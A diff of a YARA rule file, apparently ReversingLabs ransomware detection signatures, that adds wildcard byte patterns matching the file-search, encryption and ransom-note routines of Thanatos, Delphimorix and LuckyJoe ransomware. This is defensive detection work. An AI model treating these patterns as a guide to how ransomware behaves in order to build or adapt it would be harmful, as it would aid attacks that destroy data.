+            ?? ?? ?? ?? 90 48 8D 05 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 89
+            85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 85 C9 0F 84 ?? ?? ?? ?? 49 8B FA 49 8B D1 4D 85 D2
+            74 ?? 4C 8B C1 4D 2B C1 0F B7 02 66 41 39 04 10 75 ?? 48 83 C2 ?? 48 83 EF ?? 75 ??
+            49 2B CB 48 D1 F9 E9 ?? ?? ?? ?? 48 83 C1 ?? E9 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48
+            8B CB FF 15 ?? ?? ?? ?? 85 C0 75 ?? 48 8B CB FF 15 ?? ?? ?? ?? 90 48 8D 8D ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 90 48 8D 05 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ??
+            48 89 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 4C 8B BD ?? ?? ?? ?? B2 ?? 48 8D 4C 24 ?? E8 ??
+            ?? ?? ?? B2 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 66 0F 6F 05 ?? ?? 0B 00 F3 0F 7F 45 ??
+            48 89 75 ?? 48 89 75 ?? 48 8D 45 ?? 48 89 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 44 24 ??
+            C6 45 ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 45 ?? 48 C7 45 ?? ?? ?? ?? ?? C6 45
+            ?? ?? 48 8D 45 ?? 83 E0 ?? 48 8D 44 05 ?? 48 89 45 ?? 89 75 ?? C7 45 ?? ?? ?? ?? ??
+            48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 05 ??
+            ?? ?? ?? 48 89 44 24 ?? 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ?? ?? ?? ?? 48 89
+            44 24 ?? 48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? 48
+            8D 05 ?? ?? ?? ?? 48 89 45 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48
+            C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C
+            8B E8 48 89 44 24 ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ??
+            ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B F8 48 89 85 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 49
+        }
+		$encrypt_files_v2_p2 = {
+            8B D5 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8B D7 48 8D 0D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 4C 8B CF 41 B8 ?? ?? ?? ?? 49 8B D5
+            48 8D 4C 24 ?? E8 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 49 8B D5 48 8B 8D ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 83 C1 ?? 41 B8 ?? ?? ?? ?? 48 8B D7 E8 ?? ?? ?? ??
+            BF ?? ?? ?? ?? 4C 3B FF 0F 8D ?? ?? ?? ?? F2 0F 10 35 ?? ?? ?? ?? 48 8B FE 49 8B C7
+            48 2B C7 48 99 83 E2 ?? 48 03 C2 48 C1 F8 ?? 4C 8B F0 F2 0F 59 35 ?? ?? ?? ?? 0F 57
+            C0 F2 48 0F 2A C0 F2 0F 59 F0 F2 48 0F 2C CE 48 85 C9 0F 85 ?? ?? ?? ?? 4D 85 FF 0F
+            8E ?? ?? ?? ?? 48 8D 45 ?? 48 89 44 24 ?? 48 8D 54 24 ?? 48 8D 4D ?? E8 ?? ?? ?? ??
+            90 48 8D 35 ?? ?? ?? ?? 48 89 75 ?? 4C 8D 35 ?? ?? ?? ?? 4C 89 75 ?? 48 8D 05 ?? ??
+            ?? ?? 48 89 45 ?? 48 8D 05 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 44 24
+            ?? 4D 8B CF 45 33 C0 48 8B D3 48 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 49
+            81 FF ?? ?? ?? ?? 0F 8E ?? ?? ?? ?? F2 0F 10 35 ?? ?? ?? ?? 48 8D 45 ?? 48 89 44 24
+            ?? 48 8D 54 24 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 90 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48
+            8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ?? ?? ?? ??
+            48 89 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 44 24 ?? 4C 8B CF 45 33 C0 48 8B D3 49 8B CE
+            E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 99 48 F7 F9 4C 8B E8 48 85 C0 75 ?? 48 8D 45 ?? 48
+        }
+		$encrypt_files_v2_p3 = {
+            89 44 24 ?? 48 8D 54 24 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 90 48 8D 35 ?? ?? ?? ?? 48 89
+            75 ?? 4C 8D 35 ?? ?? ?? ?? 4C 89 75 ?? 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ??
+            ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 44 24 ?? 4D 8B CF 45 33 C0 48 8B D3
+            48 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8B 6C 24 ?? E9 ?? ?? ?? ?? 4D 85 F6 0F 8E ??
+            ?? ?? ?? 4D 8B FD 49 C1 E7 ?? 4C 8B A5 ?? ?? ?? ?? 90 48 8D 45 ?? 48 89 44 24 ?? 48
+            8D 54 24 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 90 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05
+            ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ?? ?? ?? ?? 48 89
+            85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 44 24 ?? 41 B9 ?? ?? ?? ?? 4C 8B C7 48 8B D3 49 8B
+            CC E8 ?? ?? ?? ?? 49 03 F5 49 03 FF 49 3B F6 7C ?? 4C 8B A5 ?? ?? ?? ?? 4C 8B 6C 24
+            ?? 48 8D 35 ?? ?? ?? ?? 4C 8D 35 ?? ?? ?? ?? 4C 8D 8D ?? ?? ?? ?? 4C 8B C3 48 8B 95
+            ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 4D 8B C4
+            48 8D 95 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B 95 ?? ?? ?? ?? 48
+            85 D2 74 ?? 48 8B FA 33 C0 B9 ?? ?? ?? ?? F3 AA 48 8B CA E8 ?? ?? ?? ?? 90 4D 85 ED
+            74 ?? 49 8B FD 33 C0 B9 ?? ?? ?? ?? F3 AA 49 8B CD E8 ?? ?? ?? ?? 90 48 89 74 24 ??
+            4C 89 74 24
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($search_files_*)) and ( all of ($encrypt_files_*))
+		uint16(0)==0x5A4D and ((($find_files) and ( all of ($find_system_volumes_v1_p*)) and ( all of ($set_default_icon_p*)) and ($cmd_prompt) and ($exclude_from_encryption) and ($encrypt_files_v1)) or (($find_files) and ($cmd_prompt) and ($find_system_volumes_v2) and ($drop_ransom_note) and ( all of ($encrypt_files_v2_p*))))
 }
-rule REVERSINGLABS_Win32_Ransomware_Thanatos : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Delphimorix : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Thanatos ransomware."
+		description = "Yara rule that detects Delphimorix ransomware."
 		author = "ReversingLabs"
-		id = "190adbd0-30a7-5619-ab70-3ab031ece2f7"
-		date = "2020-11-13"
-		modified = "2020-11-13"
+		id = "1f964601-9819-5597-ba6e-db3a30e3aa5a"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Thanatos.yara#L1-L85"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "a51fa9cf1a08e4cd252a8b385be3bfde909585e2a799baaede977e40ecff5313"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Delphimorix.yara#L1-L67"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "6d401d488d57b2d75e93a1dfd47ece687a5791d1f0a52768300f4af8a8787212"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -25034,81 +25933,283 @@ rule REVERSINGLABS_Win32_Ransomware_Thanatos : TC_DETECTION MALICIOUS MALWARE FI
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Thanatos"
+		tc_detection_name = "Delphimorix"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files = {
-            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 53 56 57 50 89 85
-            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ??
-            8D 8D ?? ?? ?? ?? 51 FF D6 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ??
-            ?? 89 85 ?? ?? ?? ?? EB ?? 8D 49 ?? 6A ?? E8 ?? ?? ?? ?? 8B D8 83 C4 ?? C6 03 ?? FF
-            15 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 B9 ?? ??
-            ?? ?? F7 F9 52 53 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 4F 75 ?? 8B 95 ?? ?? ??
-            ?? 52 8D 85 ?? ?? ?? ?? 50 C6 43 ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ??
-            ?? ?? 51 FF D6 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 FF D6 F6 85 ?? ?? ?? ?? ??
-            74 ?? 8B 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF D7 85 C0 0F 84 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 FF D7 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ??
-            ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7
-            85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2
-            50 8D 8D ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8D BD
-            ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8B F8 72 ?? 8B
-            85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 FF ?? 74 ?? 53 8D 9D ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 52 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ??
-            ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ??
-            ?? 8B E5 5D C3
+		$encrypt_files = {
+            55 8B EC 83 C4 ?? 53 56 57 33 D2 89 55 ?? 89 45 ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55
+            68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 6A ?? 8B
+            4D ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 68 ?? ?? ?? ?? 8D 45 ?? B9 ?? ?? ??
+            ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 4D ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 8B C3
+            8B 10 FF 12 52 50 B9 ?? ?? ?? ?? 8B D3 8B C6 E8 ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8B
+            C6 E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8
+            ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5F 5E 5B 59 59 5D C3
+        }
+		$find_files_p1 = {
+            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 33 DB 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ??
+            ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 8B D9 89 55 ?? 89 45 ?? 8B 45 ?? E8 ??
+            ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 80 7C 02
+            ?? ?? 75 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B D0 4A 8D 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ??
+            ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
+            8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ??
+            ?? ?? 8B D0 83 CA ?? 3B D0 75 ?? 80 FB ?? 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 0F 84 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85
+        }
+		$find_files_p2 = {
+            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B CB 8B 55 ?? E8 ?? ?? ?? ?? E9 ??
+            ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B
+            C6 83 C8 ?? 3B C6 75 ?? 80 FB ?? 75 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? FF 75 ?? 68 ?? ?? ??
+            ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ??
+            ?? 8B CB 8B 55 ?? E8 ?? ?? ?? ?? EB ?? FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D
+            85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ??
+            ?? ?? ?? C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ($encrypt_files)
+}
+rule REVERSINGLABS_Linux_Ransomware_Luckyjoe : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects LuckyJoe ransomware."
+		author = "ReversingLabs"
+		id = "8dc98d71-b79d-5b09-9383-11f2b57baeb5"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Linux.Ransomware.LuckyJoe.yara#L1-L146"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "1e7df2c45bee072af233cf8f355a84ec931fe96afa3fbdcd225dded1b75ea961"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "LuckyJoe"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$main_call_p1 = {
+            55 48 89 E5 48 81 EC ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? 48
+            C7 45 ?? ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ??
+            48 89 45 ?? 48 8B 55 ?? 48 8B 45 ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 48 8D 75 ?? 48
+            8B 45 ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? BE ?? ??
+            ?? ?? BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 89 C7 E8
+            ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 48 89 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? E8 ?? ??
+            ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 35 ?? ?? ?? ?? 48 83 EC ?? 48 8B 45
+            ?? 6A ?? 41 B9 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 C7
+            E8 ?? ?? ?? ?? 48 83 C4 ?? 48 8B 15 ?? ?? ?? ?? 48 8B 45 ?? 48 89 D6 48 89 C7 E8 ??
+            ?? ?? ?? 48 8B 45 ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ??
+            ?? ?? 48 98 48 89 45 ?? 48 8B 45 ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48
+        }
+		$main_call_p2 = {
+            89 C7 E8 ?? ?? ?? ?? 48 98 48 89 45 ?? 48 8B 45 ?? 48 83 C0 ?? 48 89 C7 E8 ?? ?? ??
+            ?? 48 89 45 ?? 48 8B 45 ?? 48 83 C0 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 45
+            ?? 89 C2 48 8B 4D ?? 48 8B 45 ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 89 C2
+            48 8B 4D ?? 48 8B 45 ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? ?? 48 8B 55 ?? 48 8B 45 ?? 48
+            01 D0 C6 00 ?? 48 8B 55 ?? 48 8B 45 ?? 48 01 D0 C6 00 ?? 48 8B 45 ?? 48 8B 55 ?? 48
+            89 D6 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 83 7D ?? ?? 75 ?? BF ?? ?? ?? ?? E8 ??
+            ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C6 BF ?? ?? ?? ?? B8 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? B8
+            ?? ?? ?? ?? E9 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 45 ??
+            48 83 7D ?? ?? 74 ?? 48 8B 55 ?? 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 B8
+        }
+		$main_call_p3 = {
+            E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 79 ?? 48 8B 45 ?? 89 C7 E8 ?? ?? ?? ?? B8 ?? ??
+            ?? ?? E9 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 89 C7 E8 ?? ??
+            ?? ?? 48 C7 45 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 45
+            ?? 48 83 7D ?? ?? 74 ?? EB ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ??
+            ?? ?? 48 8B 55 ?? 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            89 45 ?? 83 7D ?? ?? 79 ?? 48 8B 45 ?? 89 C7 E8 ?? ?? ?? ?? EB ?? 48 8B 45 ?? 48 89
+            C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 89 C7 E8 ?? ?? ?? ?? EB ?? BF ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ??
+            ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? 48 98 48 8B 84
+            C5 ?? ?? ?? ?? 48 89 C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 48 98
+            48 8B 84 C5 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 83 45 ?? ?? 83 7D ?? ?? 74 ?? BF ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8
+            ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? C9 C3
         }
 		$encrypt_files_p1 = {
-            55 8B EC 83 EC ?? 53 56 57 68 ?? ?? ?? ?? 33 DB 6A ?? 53 8B F0 53 8D 45 ?? 33 FF 50
-            89 7D ?? 89 5D ?? 89 5D ?? 89 5D ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 55
-            ?? 8D 4D ?? 51 53 53 68 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B
-            C6 8D 50 ?? 8A 08 40 84 C9 75 ?? 53 2B C2 50 8B 45 ?? 56 50 FF 15 ?? ?? ?? ?? 85 C0
-            0F 84 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 8D 4D ?? 51 6A ?? 52 68 ?? ?? ?? ?? 50 FF 15 ??
-            ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 50 8D 4D ?? 51 53 53 6A ?? 53 8B
-            1D ?? ?? ?? ?? 52 89 45 ?? FF D3 85 C0 74 ?? 8B 45 ?? 8B 3D ?? ?? ?? ?? 50 6A ?? FF
-            D7 50 FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 8B 4D ?? 8B 55 ?? 8B 02 51 50 56 E8 ?? ??
-            ?? ?? 8B 4D ?? 8B 45 ?? 83 C4 ?? 51 8D 55 ?? 52 56 6A ?? 6A ?? 6A ?? 50 FF D3 85 C0
-            74 ?? 8B 5D ?? 8B 0B 51 6A ?? FF D7 50 FF 15 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 89 10 89
-            33 C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 8B 7D ?? 33 DB 8B 55 ?? 52 FF
-            15 ?? ?? ?? ?? 8B 45 ?? 53 50 FF 15 ?? ?? ?? ?? 8B C7 5F 5E 5B 8B E5 5D C2
+            55 48 89 E5 53 48 81 EC ?? ?? ?? ?? 48 89 BD ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? BA ??
+            ?? ?? ?? B9 ?? ?? ?? ?? 48 89 C7 48 89 D6 F3 48 A5 48 89 F2 48 89 F8 0F B7 0A 66 89
+            08 48 8D 40 ?? 48 8D 52 ?? 48 C7 45 ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ??
+            48 C7 45 ?? ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 89 D7
+            F3 48 AB 48 8B 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 83 7D ?? ?? 75
+            ?? 48 8B 85 ?? ?? ?? ?? 48 89 C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ??
+            ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 D6 48 89 C7
+            E8 ?? ?? ?? ?? 48 8B 45 ?? 0F B6 40 ?? 3C ?? 0F 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ??
+            48 89 C7 E8 ?? ?? ?? ?? 48 89 C3 48 8B 45 ?? 48 83 C0 ?? 48 89 C7 E8 ?? ?? ?? ?? 48
+            01 D8 48 83 C0 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 85 ?? ?? ?? ?? BE ?? ??
+            ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 84 C0 74 ?? 48 8B 45 ?? 48 8D 48 ?? 48 8B 95 ?? ?? ??
+            ?? 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 48 8B 45
+            ?? 48 8D 48 ?? 48 8B 95 ?? ?? ?? ?? 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 B8 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8B 4D ?? 48 8D 85 ?? ?? ?? ?? 48 89 CE 48
+            89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? EB ?? 48 8B 45 ?? 48 83 C0 ?? 48 89 C7 E8 ?? ?? ??
+            ?? 48 89 C2 48 8B 45 ?? 48 89 C6 48 89 D7 E8 ?? ?? ?? ?? 85 C0 75 ?? 48 8B 45 ?? 48
         }
 		$encrypt_files_p2 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
-            33 C5 89 45 ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 45 ?? 33 F6 56 68 ?? ?? ?? ??
-            6A ?? 56 6A ?? 68 ?? ?? ?? ?? 53 89 85 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 89 B5 ?? ?? ??
-            ?? FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 0F 84 ?? ?? ?? ?? 56 57 FF 15 ?? ?? ?? ?? 8B F0
